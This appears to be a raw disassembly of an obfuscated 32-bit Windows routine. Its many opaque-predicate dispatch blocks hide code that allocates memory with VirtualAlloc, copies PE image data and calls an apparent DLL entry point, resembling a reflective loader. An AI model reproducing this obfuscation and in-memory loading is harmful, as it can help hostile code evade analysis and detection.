mov eax, 0xf25ec820
mov ecx, 0xd03f02a7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x3c]
call fcn.10110e89
mov eax, 0x97199a26
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x89492f96
mov ecx, 0x856ec8b5
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd833686e
mov ecx, 0xe1f9eb1b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x44]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x777dd641
mov ecx, 0x2ae04957
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7100e50
mov ecx, 0x4508091d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x18a53e00
jmp 0x101077d9
mov eax, 0x47b52fd5
jmp 0x101077d9
mov eax, dword [esp + 0x5c]
mov eax, 0x4508091d
jmp 0x101077d9
mov eax, 0x4144d8ca
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1b264179
mov ecx, 0x2caeaa9a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x18]
push 4
push 0x2000
push dword [esp + 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0xa3023de4
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa3f12e3e
mov ecx, 0xf1c06e0b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x447b7d03
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x642640d2
mov ecx, 0x75d93c99
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x171564b1
mov ecx, 0x105b7f7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5aaf6911
mov ecx, 0xf2df7e03
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86225a7a
mov ecx, 0x3c398dbc
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x499b7374
jmp 0x101077d9
mov eax, 0x13fa4f22
jmp 0x101077d9
mov eax, 0xf247e290
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x766f1e79
mov ecx, 0x63f01774
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7a16e70b
mov ecx, 0xd6abdab3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x2b27ee5f
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf939af56
mov ecx, 0x81220073
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x10]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6453659
mov ecx, 0xc725001a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x45a1e384
mov ecx, 0x84666223
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x8146bd
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x172f2d4e
mov ecx, 0x8efa9085
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x766f1e79
mov ecx, 0xce6f3726
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xd1abb6d2
jmp 0x101077d9
mov eax, 0x8b6221b4
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd30eb01e
mov ecx, 0x1e06ab7c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b35504
mov ecx, 0x8b6221b4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x96715e3c
mov ecx, 0x5e425825
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72bd2425
mov ecx, 0x311994c8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x30]
mov dword [esp + 0x6c], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7a16e70b
mov ecx, 0x499b7374
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xb15b4a7d
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60175717
mov ecx, 0xa2c208fa
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6d2b6b18
mov ecx, 0x95356799
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, 0xc9ad3560
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x268e7fb9
mov ecx, 0x8d1e9da2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7fbb322
mov ecx, 0xb85c4318
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x50]
mov eax, 0x9a032851
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58ce49eb
mov ecx, 0x45adcc3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b8c9d9
mov ecx, 0x64c91eb0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc330f9d1
mov ecx, 0x2243afe8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1e71bda
mov ecx, 0xc44d9695
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x50a3790c
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x172f2d4e
mov ecx, 0xc9aabc31
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd7749c60
mov ecx, 0x1675a575
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, 0xe56d696b
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb14108ae
mov ecx, 0xa5e187af
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x36f47716
mov dword [esp + 0x30], 0
jmp 0x101077d9
mov eax, 0x3946d953
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x31a3b6d3
mov ecx, 0xfdda5acb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46837b15
mov ecx, 0x3946d953
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a608fa7
mov ecx, 0x22b4f44b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1b264179
mov ecx, 0x69cfda30
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xe7a9c263
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd833686e
mov ecx, 0xe7a9c263
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x750ab1c2
jmp 0x101077d9
mov eax, 0x45adcc3
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x45a1e384
mov ecx, 0x658fa38c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x6405b772
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbe59e886
mov ecx, 0xca02fa5e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [esp + 0x4c], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xda8faf0c
mov ecx, 0x8163d61b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b3e7b6b
mov ecx, 0x50e927d6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x64737139
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbea93eed
mov ecx, 0xb2ae487
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1fe48f50
mov ecx, 0x11b9405
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x8e8ebe56
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x508107f6
mov ecx, 0x2bf24d6d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp byte [esp + 0x26], 0
mov eax, 0x650eb565
mov ecx, 0xb8b53018
cmovne eax, ecx
jmp 0x101077d9
mov eax, 0x50e927d6
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x40be0cfe
mov ecx, 0x3e8a2efc
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xb1000abb
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84d5cdac
mov ecx, 0xdc3d0246
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x54]
mov dword [esp + 0x58], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71c7eabc
mov ecx, 0x90efaca4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x637b23c3
mov ecx, 0xd70d2f18
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x68fd657a
jmp 0x101077d9
mov eax, 0x7c668793
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x134fc16b
mov ecx, 0x1a336328
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa5bf1ac5
mov ecx, 0xaabafd45
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6929f79d
mov ecx, 0x71fba3d8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
push dword [esp + 0x2c]
call fcn.10125000
add esp, 4
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b5f4ba0
mov ecx, 0xaf24b250
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x287f08bd
mov ecx, 0x252a4641
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb73e1f21
mov ecx, 0xdde8093
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfc20cda9
mov ecx, 0xcc3c431a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x96715e3c
mov ecx, 0x8e8ebe56
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5aaf6911
mov ecx, 0x3ac9e835
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44dfeabd
mov ecx, 0x96d0298f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x8d7fe1c4
jmp 0x101077d9
mov eax, dword [esp + 0x58]
push 0
push 1
push dword [esp + 8]
call eax
mov eax, 0xec6255a1
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x20d2b907
mov ecx, 0xd577e10a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72767ff5
mov ecx, 0x1dccc721
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x99fcbb9
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x656ea258
mov ecx, 0x7b2fefee
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x44]
mov eax, 0x307677bb
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b5f4ba0
mov ecx, 0x8774dfd1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b46ab
mov ecx, 0xe1a97897
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7d9a11d
mov ecx, 0xb19e9365
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp byte [esp + 0x20], 0
mov eax, 0x2d30ebe5
mov ecx, 0xd1cdecd8
cmovne eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a42ee
mov ecx, 0x1dd1271b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xe1a97897
jmp 0x101077d9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
xor esi, esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [esp]
mov dword [edi + 4], eax
mov dword [edi + 0xc], esi
mov dword [edi + 8], esi
mov dword [edi + 0x10], esi
mov eax, dword [esp + 0x10]
mov ecx, 4
push ecx
mov ebp, 0x1000
push ebp
push dword [eax]
push dword [esp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call ebx
mov esi, dword [esp + 0x28]
mov eax, 4
push eax
push ebp
push dword [esi + 0x3c]
push dword [esp + 0xc]
call ebx
mov ebx, eax
mov eax, dword [esp + 8]
mov ecx, dword [esi + 0x3c]
add ecx, dword [eax]
push ecx
mov esi, dword [esp + 0x88]
push esi
push ebx
call fcn.1014bf80
add esp, 0xc
mov eax, dword [esp + 8]
mov eax, dword [eax]
lea ecx, [ebx + eax]
mov dword [edi], ecx
mov ecx, dword [esp]
mov dword [ebx + eax + 0x34], ecx
mov edx, dword [esp + 0xc]
mov ecx, esi
push edi
call fcn.1010db48
add esp, 4
mov eax, dword [esp + 0x18]
mov eax, dword [esp]
mov eax, 0xb19e9365
jmp 0x101077d9
mov eax, 0xce7f7416
jmp 0x101077d9
mov eax, 0x64c91eb0
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e94b794
mov ecx, 0x18a53e00
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c7b669d
mov ecx, 0x46675a3a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9b38b1e6
mov ecx, 0x2afd10f0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x9625ced5
jmp 0x101077d9
mov eax, 0x2480ed3b
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x892568ab
mov ecx, 0x7a193f40
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x50]
mov eax, 0x85b24df
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9dce6c3b
mov ecx, 0x1f580379
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3e8a2efc
jne 0x101077d9
mov eax, dword [esp + 0x6c]
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret